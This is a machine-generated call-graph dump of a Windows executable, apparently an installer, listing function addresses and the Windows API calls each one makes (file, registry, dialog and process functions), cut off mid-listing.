3267->3271 3268 403a54 3268->3254 3274 403be6 3271->3274 3272 403a1b 3421 40603f 3272->3421 3273 403a5c 3437 405c33 3273->3437 3276 403bfb ExitWindowsEx 3274->3276 3280 403c08 3274->3280 3276->3261 3276->3280 3278->3272 3278->3273 3478 40140b 3280->3478 3283 403a72 lstrcatW 3284 403a7d lstrcatW lstrcmpiW 3283->3284 3284->3268 3285 403a9d 3284->3285 3287 403aa2 3285->3287 3288 403aa9 3285->3288 3440 405b99 CreateDirectoryW 3287->3440 3445 405c16 CreateDirectoryW 3288->3445 3289 403a3a 3436 406668 lstrcpynW 3289->3436 3294 403aae SetCurrentDirectoryW 3295 403ac0 3294->3295 3296 403acb 3294->3296 3448 406668 lstrcpynW 3295->3448 3449 406668 lstrcpynW 3296->3449 3301 403b19 CopyFileW 3305 403ad8 3301->3305 3302 403b63 3304 406428 36 API calls 3302->3304 3304->3268 3305->3302 3306 4066a5 17 API calls 3305->3306 3308 403b4d CloseHandle 3305->3308 3450 4066a5 3305->3450 3467 406428 MoveFileExW 3305->3467 3471 405c4b CreateProcessW 3305->3471 3306->3305 3308->3305 3311 4069e7 wsprintfW LoadLibraryExW 3309->3311 3311->3225 3313 406a51 3312->3313 3314 406a5b GetProcAddress 3312->3314 3315 4069c5 3 API calls 3313->3315 3316 403750 3314->3316 3317 406a57 3315->3317 3316->3229 3317->3314 3317->3316 3318->3235 3319->3237 3321 405f6a 3320->3321 3322 4037e8 CharNextW 3321->3322 3323 405f71 CharNextW 3321->3323 3322->3248 3323->3321 3481 4068ef 3324->3481 3326 403625 3326->3243 3327 40361b 3327->3326 3490 405f37 lstrlenW CharPrevW 3327->3490 3330 405c16 2 API calls 3331 403633 3330->3331 3493 406187 3331->3493 3497 406158 GetFileAttributesW CreateFileW 3334->3497 3336 403113 3363 403120 3336->3363 3498 406668 lstrcpynW 3336->3498 3338 403136 3499 405f83 lstrlenW 3338->3499 3342 403147 GetFileSize 3343 403241 3342->3343 3362 40315e 3342->3362 3504 40302e 3343->3504 3347 403286 GlobalAlloc 3350 40329d 3347->3350 3349 4032de 3352 40302e 32 API calls 3349->3352 3354 406187 2 API calls 3350->3354 3351 403267 3353 4035e2 ReadFile 3351->3353 3352->3363 3355 403272 3353->3355 3357 4032ae CreateFileW 3354->3357 3355->3347 3355->3363 3356 40302e 32 API calls 3356->3362 3358 4032e8 3357->3358 3357->3363 3519 4035f8 SetFilePointer 3358->3519 3360 4032f6 3520 403371 3360->3520 3362->3343 3362->3349 3362->3356 3362->3363 3535 4035e2 3362->3535 3363->3250 3365 406a35 5 API calls 3364->3365 3366 403d2b 3365->3366 3367 403d31 3366->3367 3368 403d43 3366->3368 3590 4065af wsprintfW 3367->3590 3591 406536 3368->3591 3371 403d92 lstrcatW 3374 403d41 3371->3374 3373 406536 3 API calls 3373->3371 3582 403fed 3374->3582 3377 40603f 18 API calls 3378 403dc4 3377->3378 3379 403e58 3378->3379 3381 406536 3 API calls 3378->3381 3380 40603f 18 API calls 3379->3380 3382 403e5e 3380->3382 3383 403df6 3381->3383 3384 403e6e LoadImageW 3382->3384 3387 4066a5 17 API calls 3382->3387 3383->3379 3390 403e17 lstrlenW 3383->3390 3394 405f64 CharNextW 3383->3394 3385 403f14 3384->3385 3386 403e95 RegisterClassW 3384->3386 3389 40140b 2 API calls 3385->3389 3388 403ecb SystemParametersInfoW CreateWindowExW 3386->3388 3419 403f1e 3386->3419 3387->3384 3388->3385 3393 403f1a 3389->3393 3391 403e25 lstrcmpiW 3390->3391 3392 403e4b 3390->3392 3391->3392 3395 403e35 GetFileAttributesW 3391->3395 3396 405f37 3 API calls 3392->3396 3399 403fed 18 API calls 3393->3399 3393->3419 3397 403e14 3394->3397 3398 403e41 3395->3398 3400 403e51 3396->3400 3397->3390 3398->3392 3401 405f83 2 API calls 3398->3401 3402 403f2b 3399->3402 3596 406668 lstrcpynW 3400->3596 3401->3392 3404 403f37 ShowWindow 3402->3404 3405 403fba 3402->3405 3407 4069c5 3 API calls 3404->3407 3597 40579d OleInitialize 3405->3597 3409 403f4f 3407->3409 3408 403fc0 3410 403fc4 3408->3410 3411 403fdc 3408->3411 3412 403f5d GetClassInfoW 3409->3412 3414 4069c5 3 API calls 3409->3414 3418 40140b 2 API calls 3410->3418 3410->3419 3413 40140b 2 API calls 3411->3413 3415 403f71 GetClassInfoW RegisterClassW 3412->3415 3416 403f87 DialogBoxParamW 3412->3416 3413->3419 3414->3412 3415->3416 3417 40140b 2 API calls 3416->3417 3417->3419 3418->3419 3419->3268 3420->3241 3619 406668 lstrcpynW 3421->3619 3423 406050 3620 405fe2 CharNextW CharNextW 3423->3620 3426 403a27 3426->3254 3435 406668 lstrcpynW 3426->3435 3427 4068ef 5 API calls 3433 406066 3427->3433 3428 406097 lstrlenW 3429 4060a2 3428->3429 3428->3433 3430 405f37 3 API calls 3429->3430 3432 4060a7 GetFileAttributesW 3430->3432 3432->3426 3433->3426 3433->3428 3434 405f83 2 API calls 3433->3434 3626 40699e FindFirstFileW 3433->3626 3434->3428 3435->3289 3436->3256 3438 406a35 5 API calls 3437->3438 3439 403a61 lstrcatW 3438->3439 3439->3283 3439->3284 3441 405bea GetLastError 3440->3441 3442 403aa7 3440->3442 3441->3442 3443 405bf9 SetFileSecurityW 3441->3443 3442->3294 3443->3442 3444 405c0f GetLastError 3443->3444 3444->3442 3446 405c26 3445->3446 3447 405c2a GetLastError 3445->3447 3446->3294 3447->3446 3448->3296 3449->3305 3454 4066b2 3450->3454 3451 4068d5 3452 403b0d DeleteFileW 3451->3452 3631 406668 lstrcpynW 3451->3631 3452->3301 3452->3305 3454->3451 3455 4068a3 lstrlenW 3454->3455 3458 406536 3 API calls 3454->3458 3459 4066a5 10 API calls 3454->3459 3460 4067ba GetSystemDirectoryW 3454->3460 3461 4067cd GetWindowsDirectoryW 3454->3461 3462 4067fc SHGetSpecialFolderLocation 3454->3462 3463 4066a5 10 API calls 3454->3463 3464 406844 lstrcatW 3454->3464 3465 4068ef 5 API calls 3454->3465 3629 4065af wsprintfW 3454->3629 3630 406668 lstrcpynW 3454->3630 3455->3454 3458->3454 3459->3455 3460->3454 3461->3454 3462->3454 3466 406814 SHGetPathFromIDListW CoTaskMemFree 3462->3466 3463->3454 3464->3454 3465->3454 3466->3454 3468 40643c 3467->3468 3470 406449 3467->3470 3632 4062ae 3468->3632 3470->3305 3472 405c8a 3471->3472 3473 405c7e CloseHandle 3471->3473 3472->3305 3473->3472 3475 405cdd 3474->3475 3476 403b89 ExitProcess 3475->3476 3477 405cf1 MessageBoxIndirectW 3475->3477 3477->3476 3479 401389 2 API calls 3478->3479 3480 401420 3479->3480 3480->3261 3487 4068fc 3481->3487 3482 406977 CharPrevW 3483 406972 3482->3483 3483->3482 3485 406998 3483->3485 3484 406965 CharNextW 3484->3483 3484->3487 3485->3327 3486 405f64 CharNextW 3486->3487 3487->3483 3487->3484 3487->3486 3488 406951 CharNextW 3487->3488 3489 406960 CharNextW 3487->3489 3488->3487 3489->3484 3491 405f53 lstrcatW 3490->3491 3492 40362d 3490->3492 3491->3492 3492->3330 3494 406194 GetTickCount GetTempFileNameW 3493->3494 3495 40363e 3494->3495 3496 4061ca 3494->3496 3495->3243 3496->3494 3496->3495 3497->3336 3498->3338 3500 405f91 3499->3500 3501 40313c 3500->3501 3502 405f97 CharPrevW 3500->3502 3503 406668 lstrcpynW 3501->3503 3502->3500 3502->3501 3503->3342 3505 403057 3504->3505 3506 40303f 3504->3506 3509 403067 GetTickCount 3505->3509 3510 40305f 3505->3510 3507 403048 DestroyWindow 3506->3507 3508 40304f 3506->3508 3507->3508 3508->3347 3508->3363 3538 4035f8 SetFilePointer 3508->3538 3509->3508 3511 403075 3509->3511 3539 406a71 3510->3539 3513 4030aa CreateDialogParamW ShowWindow 3511->3513 3514 40307d 3511->3514 3513->3508 3514->3508 3543 403012 3514->3543 3516 40308b wsprintfW 3546 4056ca 3516->3546 3519->3360 3521 403380 SetFilePointer 3520->3521 3522 40339c 3520->3522 3521->3522 3557 403479 GetTickCount 3522->3557 3527 403479 42 API calls 3528 4033d3 3527->3528 3529 40343f ReadFile 3528->3529 3533 4033e2 3528->3533 3534 403439 3528->3534 3529->3534 3531 4061db ReadFile 3531->3533 3533->3531 3533->3534 3572 40620a WriteFile 3533->3572 3534->3363 3536 4061db ReadFile 3535->3536 3537 4035f5 3536->3537 3537->3362 3538->3351 3540 406a8e PeekMessageW 3539->3540 3541 406a84 DispatchMessageW 3540->3541 3542 406a9e 3540->3542 3541->3540 3542->3508 3544 403021 3543->3544 3545 403023 MulDiv 3543->3545 3544->3545 3545->3516 3548 4056e5 3546->3548 3556 4030a8 3546->3556 3547 405701 lstrlenW 3550 40572a 3547->3550 3551 40570f lstrlenW 3547->3551 3548->3547 3549 4066a5 17 API calls 3548->3549 3549->3547 3553 405730 SetWindowTextW 3550->3553 3554 40573d 3550->3554 3552 405721 lstrcatW 3551->3552 3551->3556 3552->3550 3553->3554 3555 405743 SendMessageW SendMessageW SendMessageW 3554->3555 3554->3556 3555->3556 3556->3508 3558 4035d1 3557->3558 3559 4034a7 3557->3559 3560 40302e 32 API calls 3558->3560 3574 4035f8 SetFilePointer 3559->3574 3567 4033a3 3560->3567 3562 4034b2 SetFilePointer 3566 4034d7 3562->3566 3563 4035e2 ReadFile 3563->3566 3565 40302e 32 API calls 3565->3566 3566->3563 3566->3565 3566->3567 3568 40620a WriteFile 3566->3568 3569 4035b2 SetFilePointer 3566->3569 3575 406bb0 3566->3575 3567->3534 3570 4061db ReadFile 3567->3570 3568->3566 3569->3558 3571 4033bc 3570->3571 3571->3527 3571->3534 3573 406228 3572->3573 3573->3533 3574->3562 3576 406bd5 3575->3576 3577 406bdd 3575->3577 3576->3566 3577->3576 3578 406c64 GlobalFree 3577->3578 3579 406c6d GlobalAlloc 3577->3579 3580 406ce4 GlobalAlloc 3577->3580 3581 406cdb GlobalFree 3577->3581 3578->3579 3579->3576 3579->3577 3580->3576 3580->3577 3581->3580 3583 404001 3582->3583 3604 4065af wsprintfW 3583->3604 3585 404072 3605 4040a6 3585->3605 3587 403da2 3587->3377 3588 404077 3588->3587 3589 4066a5 17 API calls 3588->3589 3589->3588 3590->3374 3608 4064d5 3591->3608 3594 403d73 3594->3371 3594->3373 3595 40656a RegQueryValueExW RegCloseKey 3595->3594 3596->3379 3612 404610 3597->3612 3599 4057e7 3600 404610 SendMessageW 3599->3600 3601 4057f9 OleUninitialize 3600->3601 3601->3408 3603 4057c0 3603->3599 3615 401389 3603->3615 3604->3585 3606 4066a5 17 API calls 3605->3606 3607 4040b4 SetWindowTextW 3606->3607 3607->3588 3609 4064e4 3608->3609 3610 4064ed RegOpenKeyExW 3609->3610 3611 4064e8 3609->3611 3610->3611 3611->3594 3611->3595 3613 404628 3612->3613 3614 404619 SendMessageW 3612->3614 3613->3603 3614->3613 3617 401390 3615->3617 3616 4013fe 3616->3603 3617->3616 3618 4013cb MulDiv SendMessageW 3617->3618 3618->3617 3619->3423 3621 405fff 3620->3621 3623 406011 3620->3623 3621->3623 3624 40600c CharNextW 3621->3624 3622 406035 3622->3426 3622->3427 3623->3622 3625 405f64 CharNextW 3623->3625 3624->3622 3625->3623 3627 4069b4 FindClose 3626->3627 3628 4069bf 3626->3628 3627->3628 3628->3433 3629->3454 3630->3454 3631->3452 3633 406304 GetShortPathNameW 3632->3633 3634 4062de 3632->3634 3636 406423 3633->3636 3637 406319 3633->3637 3659 406158 GetFileAttributesW CreateFileW 3634->3659 3636->3470 3637->3636 3639 406321 wsprintfA 3637->3639 3638 4062e8 CloseHandle GetShortPathNameW 3638->3636 3640 4062fc 3638->3640 3641 4066a5 17 API calls 3639->3641 3640->3633 3640->3636 3642 406349 3641->3642 3660 406158 GetFileAttributesW CreateFileW 3642->3660 3644 406356 3644->3636 3645 406365 GetFileSize GlobalAlloc 3644->3645 3646 406387 3645->3646 3647 40641c CloseHandle 3645->3647 3648 4061db ReadFile 3646->3648 3647->3636 3649 40638f 3648->3649 3649->3647 3661 4060bd lstrlenA 3649->3661 3652 4063a6 lstrcpyA 3655 4063c8 3652->3655 3653 4063ba 3654 4060bd 4 API calls 3653->3654 3654->3655 3656 4063ff SetFilePointer 3655->3656 3657 40620a WriteFile 3656->3657 3658 406415 GlobalFree 3657->3658 3658->3647 3659->3638 3660->3644 3662 4060fe lstrlenA 3661->3662 3663 4060d7 lstrcmpiA 3662->3663 3665 406106 3662->3665 3664 4060f5 CharNextA 3663->3664 3663->3665 3664->3662 3665->3652 3665->3653 3666 401941 3667 401943 3666->3667 3672 402da6 3667->3672 3673 402db2 3672->3673 3674 4066a5 17 API calls 3673->3674 3675 402dd3 3674->3675 3676 401948 3675->3676 3677 4068ef 5 API calls 3675->3677 3678 405d74 3676->3678 3677->3676 3679 40603f 18 API calls 3678->3679 3680 405d94 3679->3680 3681 405d9c DeleteFileW 3680->3681 3682 405db3 3680->3682 3686 401951 3681->3686 3683 405ed3 3682->3683 3714 406668 lstrcpynW 3682->3714 3683->3686 3690 40699e 2 API calls 3683->3690 3685 405dd9 3687 405dec 3685->3687 3688 405ddf lstrcatW 3685->3688 3689 405f83 2 API calls 3687->3689 3691 405df2 3688->3691 3689->3691 3693 405ef8 3690->3693 3692 405e02 lstrcatW 3691->3692 3694 405e0d lstrlenW FindFirstFileW 3691->3694 3692->3694 3693->3686 3695 405f37 3 API calls 3693->3695 3694->3683 3712 405e2f 3694->3712 3696 405f02 3695->3696 3698 405d2c 5 API calls 3696->3698 3697 405eb6 FindNextFileW 3701 405ecc FindClose 3697->3701 3697->3712 3700 405f0e 3698->3700 3702 405f12 3700->3702 3703 405f28 3700->3703 3701->3683 3702->3686 3706 4056ca 24 API calls 3702->3706 3705 4056ca 24 API calls 3703->3705 3705->3686 3708 405f1f 3706->3708 3707 405d74 60 API calls 3707->3712 3710 406428 36 API calls 3708->3710 3709 4056ca 24 API calls 3709->3697 3710->3686 3711 4056ca 24 API calls 3711->3712 3712->3697 3712->3707 3712->3709 3712->3711 3713 406428 36 API calls 3712->3713 3715 406668 lstrcpynW 3712->3715 3716 405d2c 3712->3716 3713->3712 3714->3685 3715->3712 3724 406133 GetFileAttributesW 3716->3724 3719 405d59 3719->3712 3720 405d47 RemoveDirectoryW 3722 405d55 3720->3722 3721 405d4f DeleteFileW 3721->3722 3722->3719 3723 405d65 SetFileAttributesW 3722->3723 3723->3719 3725 405d38 3724->3725 3726 406145 SetFileAttributesW 3724->3726 3725->3719 3725->3720 3725->3721 3726->3725 3727 4015c1 3728 402da6 17 API calls 3727->3728 3729 4015c8 3728->3729 3730 405fe2 4 API calls 3729->3730 3740 4015d1 3730->3740 3731 401631 3733 401663 3731->3733 3734 401636 3731->3734 3732 405f64 CharNextW 3732->3740 3736 401423 24 API calls 3733->3736 3746 401423 3734->3746 3744 40165b 3736->3744 3738 405c16 2 API calls 3738->3740 3740->3731 3740->3732 3740->3738 3741 405c33 5 API calls 3740->3741 3743 401617 GetFileAttributesW 3740->3743 3745 405b99 4 API calls 3740->3745 3741->3740 3742 40164a SetCurrentDirectoryW 3742->3744 3743->3740 3745->3740 3747 4056ca 24 API calls 3746->3747 3748 401431 3747->3748 3749 406668 lstrcpynW 3748->3749 3749->3742 3930 401c43 3952 402d84 3930->3952 3932 401c4a 3933 402d84 17 API calls 3932->3933 3934 401c57 3933->3934 3935 402da6 17 API calls 3934->3935 3936 401c6c 3934->3936 3935->3936 3937 401c7c 3936->3937 3938 402da6 17 API calls 3936->3938 3939 401cd3 3937->3939 3940 401c87 3937->3940 3938->3937 3942 402da6 17 API calls 3939->3942 3941 402d84 17 API calls 3940->3941 3944 401c8c 3941->3944 3943 401cd8 3942->3943 3945 402da6 17 API calls 3943->3945 3946 402d84 17 API calls 3944->3946 3947 401ce1 FindWindowExW 3945->3947 3948 401c98 3946->3948 3951 401d03 3947->3951 3949 401cc3 SendMessageW 3948->3949 3950 401ca5 SendMessageTimeoutW 3948->3950 3949->3951 3950->3951 3953 4066a5 17 API calls 3952->3953 3954 402d99 3953->3954 3954->3932 3962 4028c4 3963 4028ca 3962->3963 3964 4028d2 FindClose 3963->3964 3965 402c2a 3963->3965 3964->3965 3771 4040c5 3772 4040dd 3771->3772 3773 40423e 3771->3773 3772->3773 3774 4040e9 3772->3774 3775 40424f GetDlgItem GetDlgItem 3773->3775 3784 40428f 3773->3784 3776 4040f4 SetWindowPos 3774->3776 3777 404107 3774->3777 3847 4045c4 3775->3847 3776->3777 3781 404110 ShowWindow 3777->3781 3782 404152 3777->3782 3779 4042e9 3780 404610 SendMessageW 3779->3780 3794 404239 3779->3794 3817 4042fb 3780->3817 3786 404130 GetWindowLongW 3781->3786 3787 40422b 3781->3787 3788 404171 3782->3788 3789 40415a DestroyWindow 3782->3789 3783 404279 KiUserCallbackDispatcher 3790 40140b 2 API calls 3783->3790 3784->3779 3785 401389 2 API calls 3784->3785 3791 4042c1 3785->3791 3786->3787 3793 404149 ShowWindow 3786->3793 3853 40462b 3787->3853 3796 404176 SetWindowLongW 3788->3796 3797 404187 3788->3797 3795 40456e 3789->3795 3790->3784 3791->3779 3798 4042c5 SendMessageW 3791->3798 3793->3782 3795->3794 3804 40457e ShowWindow 3795->3804 3796->3794 3797->3787 3801 404193 GetDlgItem 3797->3801 3798->3794 3799 40140b 2 API calls 3799->3817 3800 40454f DestroyWindow EndDialog 3800->3795 3802 4041c1 3801->3802 3803 4041a4 SendMessageW IsWindowEnabled 3801->3803 3806 4041ce 3802->3806 3807 404215 SendMessageW 3802->3807 3808 4041e1 3802->3808 3818 4041c6 3802->3818 3803->3794 3803->3802 3804->3794 3805 4066a5 17 API calls 3805->3817 3806->3807 3806->3818 3807->3787 3811 4041e9 3808->3811 3812 4041fe 3808->3812 3810 4045c4 18 API calls 3810->3817 3815 40140b 2 API calls 3811->3815 3814 40140b 2 API calls 3812->3814 3813 4041fc 3813->3787 3816 404205 3814->3816 3815->3818 3816->3787 3816->3818 3817->3799 3817->3800 3817->3805 3817->3810 3819 4045c4 18 API calls 3817->3819 3850 40459d 3818->3850 3820 404376 GetDlgItem 3819->3820 3821 404393 ShowWindow EnableWindow 3820->3821 3822 40438b 3820->3822 3867 4045e6 EnableWindow 3821->3867 3822->3821 3824 4043bd EnableWindow 3829 4043d1 3824->3829 3825 4043d6 GetSystemMenu EnableMenuItem SendMessageW 3826 404406 SendMessageW 3825->3826 3825->3829 3826->3829 3828 4040a6 18 API calls 3828->3829 3829->3825 3829->3828 3868 4045f9 SendMessageW 3829->3868 3869 406668 lstrcpynW 3829->3869 3831 404435 lstrlenW 3832 4066a5 17 API calls 3831->3832 3833 40444b SetWindowTextW 3832->3833 3834 401389 2 API calls 3833->3834 3835 40445c 3834->3835 3835->3794 3835->3817 3836 40448f DestroyWindow 3835->3836 3838 40448a 3835->3838 3836->3795 3837 4044a9 CreateDialogParamW 3836->3837 3837->3795 3839 4044dc 3837->3839 3838->3794 3840 4045c4 18 API calls 3839->3840 3841 4044e7 GetDlgItem GetWindowRect ScreenToClient SetWindowPos 3840->3841 3842 401389 2 API calls 3841->3842 3843 40452d 3842->3843 3843->3794 3844 404535 ShowWindow 3843->3844 3845 404610 SendMessageW 3844->3845 3846 40454d 3845->3846 3846->3795 3848 4066a5 17 API calls 3847->3848 3849 4045cf SetDlgItemTextW 3848->3849 3849->3783 3851 4045a4 3850->3851 3852 4045aa SendMessageW 3850->3852 3851->3852 3852->3813 3854 4046ee 3853->3854 3855 404643 GetWindowLongW 3853->3855 3854->3794 3855->3854 3856 404658 3855->3856 3856->3854 3857 404685 GetSysColor 3856->3857 3858 404688 3856->3858 3857->3858 3859 404698 SetBkMode 3858->3859 3860 40468e SetTextColor 3858->3860 3861 4046b0 GetSysColor 3859->3861 3862 4046b6 3859->3862 3860->3859 3861->3862 3863 4046bd SetBkColor 3862->3863 3864 4046c7 3862->3864 3863->3864 3864->3854 3865 4046e1 CreateBrushIndirect 3864->3865 3866 4046da DeleteObject 3864->3866 3865->3854 3866->3865 3867->3824 3868->3829 3869->3831 3969 4016cc 3970 402da6 17 API calls 3969->3970 3971 4016d2 GetFullPathNameW 3970->3971 3972 4016ec 3971->3972 3978 40170e 3971->3978 3975 40699e 2 API calls 3972->3975 3972->3978 3973 401723 GetShortPathNameW 3974 402c2a 3973->3974 3976 4016fe 3975->3976 3976->3978 3979 406668 lstrcpynW 3976->3979 3978->3973 3978->3974 3979->3978 3980 401e4e GetDC 3981 402d84 17 API calls 3980->3981 3982 401e60 GetDeviceCaps MulDiv ReleaseDC 3981->3982 3983 402d84 17 API calls 3982->3983 3984 401e91 3983->3984 3985 4066a5 17 API calls 3984->3985 3986 401ece CreateFontIndirectW 3985->3986 3987 402638 3986->3987 3987->3987 3988 402950 3989 402da6 17 API calls 3988->3989 3991 40295c 3989->3991 3990 402972 3993 406133 2 API calls 3990->3993 3991->3990 3992 402da6 17 API calls 3991->3992 3992->3990 3994 402978 3993->3994 4016 406158 GetFileAttributesW CreateFileW 3994->4016 3996 402985 3997 402a3b 3996->3997 3998 4029a0 GlobalAlloc 3996->3998 3999 402a23 3996->3999 4000 402a42 DeleteFileW 3997->4000 4001 402a55 3997->4001 3998->3999 4002 4029b9 3998->4002 4003 403371 44 API calls 3999->4003 4000->4001 4017 4035f8 SetFilePointer 4002->4017 4005 402a30 CloseHandle 4003->4005 4005->3997 4006 4029bf 4007 4035e2 ReadFile 4006->4007 4008 4029c8 GlobalAlloc 4007->4008 4009 4029d8 4008->4009 4010 402a0c 4008->4010 4011 403371 44 API calls 4009->4011 4012 40620a WriteFile 4010->4012 4015 4029e5 4011->4015 4013 402a18 GlobalFree 4012->4013 4013->3999 4014 402a03 GlobalFree 4014->4010 4015->4014 4016->3996 4017->4006 4025 403cd5 4026 403ce0 4025->4026 4027 403ce4 4026->4027 4028 403ce7 GlobalAlloc 4026->4028 4028->4027 4029 401956 4030 402da6 17 API calls 4029->4030 4031 40195d lstrlenW 4030->4031 4032 402638 4031->4032 4033 4014d7 4034 402d84 17 API calls 4033->4034 4035 4014dd Sleep 4034->4035 4037 402c2a 4035->4037 4038 4020d8 4039 4020ea 4038->4039 4049 40219c 4038->4049 4040 402da6 17 API calls 4039->4040 4041 4020f1 4040->4041 4043 402da6 17 API calls 4041->4043 4042 401423 24 API calls 4044 4022f6 4042->4044 4045 4020fa 4043->4045 4046 402110 LoadLibraryExW 4045->4046 4047 402102 GetModuleHandleW 4045->4047 4048 402121 4046->4048 4046->4049 4047->4046 4047->4048 4058 406aa4 4048->4058 4049->4042 4052 402132 4055 401423 24 API calls 4052->4055 4056 402142 4052->4056 4053 40216b 4054 4056ca 24 API calls 4053->4054 4054->4056 4055->4056 4056->4044 4057 40218e FreeLibrary 4056->4057 4057->4044 4063 40668a WideCharToMultiByte 4058->4063 4060 406ac1 4061 406ac8 GetProcAddress 4060->4061 4062 40212c 4060->4062 4061->4062 4062->4052 4062->4053 4063->4060 4064 402b59 4065 402b60 4064->4065 4066 402bab 4064->4066 4068 402ba9 4065->4068 4070 402d84 17 API calls 4065->4070 4067 406a35 5 API calls 4066->4067 4069 402bb2 4067->4069 4071 402da6 17 API calls 4069->4071 4072 402b6e 4070->4072 4073 402bbb 4071->4073 4074 402d84 17 API calls 4072->4074 4073->4068 4075 402bbf IIDFromString 4073->4075 4077 402b7a 4074->4077 4075->4068 4076 402bce 4075->4076 4076->4068 4082 406668 lstrcpynW 4076->4082 4081 4065af wsprintfW 4077->4081 4080 402beb CoTaskMemFree 4080->4068 4081->4068 4082->4080 4083 402a5b 4084 402d84 17 API calls 4083->4084 4085 402a61 4084->4085 4086 402aa4 4085->4086 4087 402a88 4085->4087 4092 40292e 4085->4092 4089 402abe 4086->4089 4090 402aae 4086->4090 4088 402a8d 4087->4088 4096 402a9e 4087->4096 4097 406668 lstrcpynW 4088->4097 4091 4066a5 17 API calls 4089->4091 4093 402d84 17 API calls 4090->4093 4091->4096 4093->4096 4096->4092 4098 4065af wsprintfW 4096->4098 4097->4092 4098->4092 3883 40175c 3884 402da6 17 API calls 3883->3884 3885 401763 3884->3885 3886 406187 2 API calls 3885->3886 3887 40176a 3886->3887 3888 406187 2 API calls 3887->3888 3888->3887 4099 401d5d 4100 402d84 17 API calls 4099->4100 4101 401d6e SetWindowLongW 4100->4101 4102 402c2a 4101->4102 4103 4028de 4104 4028e6 4103->4104 4105 4028ea FindNextFileW 4104->4105 4106 4028fc 4104->4106 4105->4106 4107 402943 4105->4107 4109 406668 lstrcpynW 4107->4109 4109->4106 4110 406d5f 4116 406be3 4110->4116 4111 40754e 4112 406c64 GlobalFree 4113 406c6d GlobalAlloc 4112->4113 4113->4111 4113->4116 4114 406ce4 GlobalAlloc 4114->4111 4114->4116 4115 406cdb GlobalFree 4115->4114 4116->4111 4116->4112 4116->4113 4116->4114 4116->4115 4117 401563 4118 402ba4 4117->4118 4121 4065af wsprintfW 4118->4121 4120 402ba9 4121->4120 4122 401968 4123 402d84 17 API calls 4122->4123 4124 40196f 4123->4124 4125 402d84 17 API calls 4124->4125 4126 40197c 4125->4126 4127 402da6 17 API calls 4126->4127 4128 401993 lstrlenW 4127->4128 4130 4019a4 4128->4130 4129 4019e5 4130->4129 4134 406668 lstrcpynW 4130->4134 4132 4019d5 4132->4129 4133 4019da lstrlenW 4132->4133 4133->4129 4134->4132 4142 40166a 4143 402da6 17 API calls 4142->4143 4144 401670 4143->4144 4145 40699e 2 API calls 4144->4145 4146 401676 4145->4146 4147 402aeb 4148 402d84 17 API calls 4147->4148 4149 402af1 4148->4149 4150 4066a5 17 API calls 4149->4150 4151 40292e 4149->4151 4150->4151 4152 4026ec 4153 402d84 17 API calls 4152->4153 4154 4026fb 4153->4154 4155 402745 ReadFile 4154->4155 4156 4061db ReadFile 4154->4156 4157 402785 MultiByteToWideChar 4154->4157 4158 40283a 4154->4158 4161 4027ab SetFilePointer MultiByteToWideChar 4154->4161 4162 40284b 4154->4162 4164 402838 4154->4164 4165 406239 SetFilePointer 4154->4165 4155->4154 4155->4164 4156->4154 4157->4154 4174 4065af wsprintfW 4158->4174 4161->4154 4163 40286c SetFilePointer 4162->4163 4162->4164 4163->4164 4166 406255 4165->4166 4173 40626d 4165->4173 4167 4061db ReadFile 4166->4167 4168 406261 4167->4168 4169 406276 SetFilePointer 4168->4169 4170 40629e SetFilePointer 4168->4170 4168->4173 4169->4170 4171 406281 4169->4171 4170->4173 4172 40620a WriteFile 4171->4172 4172->4173 4173->4154 4174->4164 4175 404a6e 4176 404aa4 4175->4176 4177 404a7e 4175->4177 4179 40462b 8 API calls 4176->4179 4178 4045c4 18 API calls 4177->4178 4180 404a8b SetDlgItemTextW 4178->4180 4181 404ab0 4179->4181 4180->4176 3889 40176f 3890 402da6 17 API calls 3889->3890 3891 401776 3890->3891 3892 401796 3891->3892 3893 40179e 3891->3893 3928 406668 lstrcpynW 3892->3928 3929 406668 lstrcpynW 3893->3929 3896 40179c 3900 4068ef 5 API calls 3896->3900 3897 4017a9 3898 405f37 3 API calls 3897->3898 3899 4017af lstrcatW 3898->3899 3899->3896 3920 4017bb 3900->3920 3901 40699e 2 API calls 3901->3920 3902 406133 2 API calls 3902->3920 3904 4017cd CompareFileTime 3904->3920 3905 40188d 3907 4056ca 24 API calls 3905->3907 3906 401864 3908 4056ca 24 API calls 3906->3908 3916 401879 3906->3916 3909 401897 3907->3909 3908->3916 3910 403371 44 API calls 3909->3910 3911 4018aa 3910->3911 3912 4018be SetFileTime 3911->3912 3913 4018d0 FindCloseChangeNotification 3911->3913 3912->3913 3915 4018e1 3913->3915 3913->3916 3914 4066a5 17 API calls 3914->3920 3918 4018e6 3915->3918 3919 4018f9 3915->3919 3917 406668 lstrcpynW 3917->3920 3921 4066a5 17 API calls 3918->3921 3922 4066a5 17 API calls 3919->3922 3920->3901 3920->3902 3920->3904 3920->3905 3920->3906 3920->3914 3920->3917 3923 405cc8 MessageBoxIndirectW 3920->3923 3927 406158 GetFileAttributesW CreateFileW 3920->3927 3924 4018ee lstrcatW 3921->3924 3925 401901 3922->3925 3923->3920 3924->3925 3926 405cc8 MessageBoxIndirectW 3925->3926 3926->3916 3927->3920 3928->3896 3929->3897 4182 401a72 4183 402d84 17 API calls 4182->4183 4184 401a7b 4183->4184 4185 402d84 17 API calls 4184->4185 4186 401a20 4185->4186 4187 401573 4188 401583 ShowWindow 4187->4188 4189 40158c 4187->4189 4188->4189 4190 402c2a 4189->4190 4191 40159a ShowWindow 4189->4191 4191->4190 4192 4023f4 4193 402da6 17 API calls 4192->4193 4194 402403 4193->4194 4195 402da6 17 API calls 4194->4195 4196 40240c 4195->4196 4197 402da6 17 API calls 4196->4197 4198 402416 GetPrivateProfileStringW 4197->4198 4199 4014f5 SetForegroundWindow 4200 402c2a 4199->4200 4201 401ff6 4202 402da6 17 API calls 4201->4202 4203 401ffd 4202->4203 4204 40699e 2 API calls 4203->4204 4205 402003 4204->4205 4206 402014 4205->4206 4208 4065af wsprintfW 4205->4208 4208->4206 4209 401b77 4210 402da6 17 API calls 4209->4210 4211 401b7e 4210->4211 4212 402d84 17 API calls 4211->4212 4213 401b87 wsprintfW 4212->4213 4214 402c2a 4213->4214 4215 4046fa lstrcpynW lstrlenW 4216 40167b 4217 402da6 17 API calls 4216->4217 4218 401682 4217->4218 4219 402da6 17 API calls 4218->4219 4220 40168b 4219->4220 4221 402da6 17 API calls 4220->4221 4222 401694 MoveFileW 4221->4222 4223 4016a0 4222->4223 4224 4016a7 4222->4224 4226 401423 24 API calls 4223->4226 4225 40699e 2 API calls 4224->4225 4228 4022f6 4224->4228 4227 4016b6 4225->4227 4226->4228 4227->4228 4229 406428 36 API calls 4227->4229 4229->4223 4237 4019ff 4238 